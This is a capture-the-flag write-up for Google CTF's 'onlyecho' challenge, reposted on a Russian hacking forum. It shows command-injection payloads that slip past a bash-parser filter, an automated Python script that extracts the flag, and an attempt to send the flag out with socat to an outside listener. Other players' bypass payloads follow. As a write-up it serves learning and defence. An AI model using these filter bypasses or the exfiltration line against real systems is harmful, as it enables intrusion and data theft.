• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Fooling Parsers: Achieving Code Execution Using echo Command

admin

#root
Администратор
Регистрация
20.01.2011
Сообщения
7,665
Розыгрыши
0
Реакции
135
Google releases some really cool CTF challenges every year. This year was no exception. onlyecho was one of the relatively easier ones, but it ended up being a lot of fun to solve. I was intrigued by the challenge and decided to dive right in.

This was the challenge description:


It also provided the code as an attachment.

To kick things off, I connected to the server using:

Код:
$ nc onlyecho.2024.ctfcompetition.com 1337
Response from the challenge server


Response from the challenge server


Upon connecting, I was met with a proof-of-work challenge. This is a typical step to prevent brute-force attacks. Once I solved that, the server prompted me to enter a command. I started simple with:

Код:
$ echo hello
And it worked perfectly. Now, the goal was to read the flag located at /flag, and I had to do it only using echo. My initial attempt was:

Код:
$ echo $(cat /flag)
Well, I used cat, but I wanted to know what would happen if I broke the rules. It returned:

Код:
Hacker detected! No hacks, only echo!
The system was onto me. It looked like there were some checks happening behind the scenes that disallowed malicious commands. I decided to examine the provided code.

The attachment had 3 files: nsjail.cfg, Dockerfile, and challenge.js. The first two were irrelevant, so I focused on challenge.js, which contained the following code:

Код:
const readline = require('node:readline');
const parse = require('bash-parser');
const { exec } = require("child_process");

const check = ast => {
if (typeof(ast) === 'string') {
return true;
}
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
if (!check(ast[prop])) {
return false;
}
}
return true;
};

const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});

rl.question(`I like scripts with echo. What's your favorite bash script? `, cmd => {
const ast = parse(cmd);
if (!ast.type === 'Script') {
rl.write('This is not even a script!');
rl.close();
return;
}
if (!check(ast)) {
rl.write('Hacker detected! No hacks, only echo!');
rl.close();
return;
}
exec(cmd, { shell: '/bin/bash' }, (error, stdout, stderr) => {
rl.write(stdout);
rl.close();
});
});
In short, the script parses the command and checks the Для просмотра ссылки Войди или Зарегистрируйся (AST) for any forbidden constructs (like redirects or non-echo commands).

Finding a bypass​

I needed to sneak past these checks:

Код:
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
The Для просмотра ссылки Войди или Зарегистрируйся library looked interesting! I decided to check the source code on GitHub—the last update was 7 years ago. My initial thought was that there might be some vulnerability that I could exploit.

I installed the bash-parser package locally to test payloads without interacting with the challenge server every time. I made a quick script that accepted an input, parsed it using bash-parser, and printed the generated AST, along with debugging statements for all the checks. Here’s what the script looked like:

Код:
const readline = require('readline');
const parse = require('bash-parser');
const { exec } = require("child_process");

const check = ast => {
if (typeof(ast) === 'string') {
return true;
}
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
console.log('Redirect found; failed')
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
console.log(`Command detected but '${ast['name']['text']}' not 'echo'; failed`)
return false;
}
}
if (!check(ast[prop])) {
console.log('!check(ast[prop]) failed')
return false;
}
}
return true;
};

const userInput = "echo $(cat flag)";
const astTest = parse(userInput);
console.log(JSON.stringify(astTest, null, 2));

if (check(astTest)) {
exec(userInput, { shell: '/bin/bash' }, (error, stdout, stderr) => {
if (error) {
console.error(`Execution error: ${error}`);
} else {
console.log(`stdout: ${stdout}`);
console.error(`stderr: ${stderr}`);
}
});
} else {
console.log('Input failed the check!');
}
This setup allowed me to test various payloads efficiently. As expected, testing with echo $(cat /flag) failed, but the detailed output and the AST representation was useful:

Код:
{
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "echo",
"type": "Word"
},
"suffix": [
{
"text": "$(cat flag)",
"expansion": [
{
"loc": {
"start": 0,
"end": 10
},
"command": "cat flag",
"type": "CommandExpansion",
"commandAST": {
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "cat",
"type": "Word"
},
"suffix": [
{
"text": "flag",
"type": "Word"
}
]
}
]
}
}
],
"type": "Word"
}
]
}
]
}
Command detected but 'cat' not 'echo'; failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
Input failed the check!
It failed because the command was cat, not echo.

The AST has a recursive structure, meaning the checks are applied to nested commands as well.

To bypass the two if statements, I needed a command that:

  • Would not be parsed by the AST as Command.
  • Would not contain shell redirects.
To find out what other AST types are there, I checked Для просмотра ссылки Войди или Зарегистрируйся.

Documentation showing different AST types


Documentation showing different AST types


Arithmetic Expansion caught my eye. In Bash, arithmetic expansion allows the evaluation of an arithmetic expression and the substitution of the result. The format for arithmetic expansion is:

Код:
$(( expression ))
I created a fake flag at /flag in my local system, and tried:

Код:
$ echo $(( echo $(cat /flag) ))
The output was:

Код:
bash: echo this-is-a-fake-flag : syntax error in expression (error token is "this-is-a-fake-flag ")
The fake flag I created (this-is-a-fake-flag) was in the output. This meant I had command injection!

However, there was a problem—the actual challenge.js script only returned the contents of STDOUT, not STDERR, and my output was printing to STDERR. This meant the output wouldn’t be visible in the challenge environment.

To confirm my suspicion, I tested the payload on the challenge server. Surprisingly, I received the following error:

Код:
node:internal/readline/emitKeypressEvents:74
throw err;
^

SyntaxError: Cannot parse arithmetic expression " echo $(cat /flag) ": Unexpected token, expected ; (1:6)
at parseArithmeticAST (/home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:15:9)
at /home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:35:50
at Array.map (<anonymous>)
at /home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:33:54
at Object.next (/home/user/node_modules/map-iterable/index.js:35:18)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
at Object.next (/home/user/node_modules/iterable-lookahead/index.js:54:21)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
at Object.next (/home/user/node_modules/iterable-lookahead/index.js:51:24)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)

Node.js v18.19.1
After some experimentation, I figured out that the error was because parser couldn’t handle the $(...) syntax. So, I replaced $(...) with backticks:

Код:
echo $(( echo `cat /flag` ))
The challenge server did not return any errors this time! I knew the command was executed on the server, but I couldn’t view the output. Now, I needed to find some way to leak the flag.

Stealing the flag​

My first thought was to exfil it using a tool such as cURL. However, after reviewing the Dockerfile, I realized only socat and nodejs were installed.

I set up a listener on my server with:

Код:
$ nc -l -p 8080
And then I tried to leak the flag using socat:

Код:
$ echo $(( echo `cat /flag | socat - TCP:100.100.100.100:8080` ))
Although it worked on my local system, it didn’t work on the challenge server. The server was likely firewalled and blocking outbound requests. After several unsuccessful attempts to exfiltrate the flag using socat, and nodejs, I decided to explore alternative approaches.

The problem was that my arithmetic expression inside $(( ... )) was invalid, leading to no output. After some head-scratching, I landed on the idea of leaking the flag by converting each character to its ASCII value. This way, the arithmetic expression would be valid, and I could bypass the syntax error.

I tested this approach:

Код:
$ echo $(( `cat /flag | head -c 1 | tail -c 1 | od -An -t d1` ))
This command reads the first byte of /flag, converts it to ASCII, and outputs that number. Running that command, I got the following output:

Код:
67
That worked! The ASCII equivalent for 67 was C. I didn’t want to manually extract each character, so I wrote a script to automate the process. I knew there was definitely a neater way to accomplish the same, but I was lazy, and just went with what I had.

Automate all the things​

I created a Python script to automate the following tasks:

  1. Solve the proof-of-work challenge.
  2. Read each character of the flag and convert it to its ASCII value.
  3. Join all ASCII values to reconstruct the flag.
Here’s the script I came up with:

Код:
import subprocess
import socket
import re
import time
from tqdm import tqdm


def get_pow_solution(pow_challenge):
result = subprocess.run(["python3", "kctf_pow.py", "solve", pow_challenge], capture_output=True, text=True)
return result.stdout.strip()

def receive_data(sock, buffer):
data = sock.recv(1024).decode()
buffer.append(data)

def extract_ascii_value(char_index):
host = "onlyecho.2024.ctfcompetition.com"
port = 1337

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

data = s.recv(1024).decode()
pow_challenge = re.search(r"\) solve\s+(\S+)", data).group(1)
pow_solution = get_pow_solution(pow_challenge)
s.sendall(pow_solution.encode() + b'\n')

command = f"echo $(( `cat /flag | head -c {char_index} | tail -c 1 | od -An -t d1` ))"
s.sendall(command.encode() + b'\n')
time.sleep(1)

buffer = []
receive_data(s, buffer)
buffer_data = ''.join(buffer)

match = re.search(r'^\d+', buffer_data, re.MULTILINE)
if match:
ascii_value = int(match.group())
else:
ascii_value = None

s.close()
return ascii_value

def main():
flag_ascii_values = []
flag_length = 50

try:
progress_bar = tqdm(total=flag_length, desc="Extracting flag", unit="char")

for i in range(1, flag_length + 1):
ascii_value = extract_ascii_value(i)
if ascii_value is not None:
flag_ascii_values.append(ascii_value)
progress_bar.update(1)
else:
break

progress_bar.close()

# Decode the ASCII values back to the flag
flag = ''.join(chr(value) for value in flag_ascii_values)
print(f"\nExtracted flag: {flag}")

except KeyboardInterrupt:
print("\nExiting...")


if __name__ == "__main__":
main()
The script first solves the PoW challenge. It then uses command injection to extract the ASCII value of each character in the flag, one by one. Finally, it reconstructs the flag string from these ASCII values.

I ran the script, and three minutes later, I had the following output:

Output showing the flag


Output showing the flag


Victory at last!

Other solutions​

My solution felt really hacky, so after the challenge ended, I checked the CTF Discord to see how other players solved it. As expected, others had more elegant approaches that retrieved the flag in one go.

Discord user pitust used:

Код:
$ a=b; echo "${a/b/$(cat /flag)}"
It was a nice usage of parameter expansion.

fredd came up with:

Код:
$ echo $((`echo lol > /tmp/$(cat /flag)`)); echo /tmp/*
This also used arithmetic expressions like I did, but they solved the STDOUT error by creating a file with that name. Nice, I hadn’t thought of that!

amelkiy from pasten team had:

Код:
$ echo `echo \#; cat /flag`
This was my favorite of all. I’m not sure exactly why it works, but it looks very elegant.

Для просмотра ссылки Войди или Зарегистрируйся
 
Activity
So far there's no one here
Сверху Снизу